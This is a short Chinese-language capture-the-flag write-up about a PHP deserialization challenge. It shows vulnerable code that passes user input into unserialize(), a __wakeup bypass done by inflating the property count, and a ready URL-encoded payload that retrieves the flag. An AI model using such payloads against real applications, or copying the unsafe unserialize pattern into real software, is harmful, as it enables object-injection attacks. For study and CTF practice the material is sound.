img1.png
img2.png
index.php中发现关键代码

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

再看看class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

反序列化,从__destruct中可以看出,当用户名为admin,密码为100时,输出flag,但是__wakeup又会让username=guest。当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3
?>
payload:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

img3.png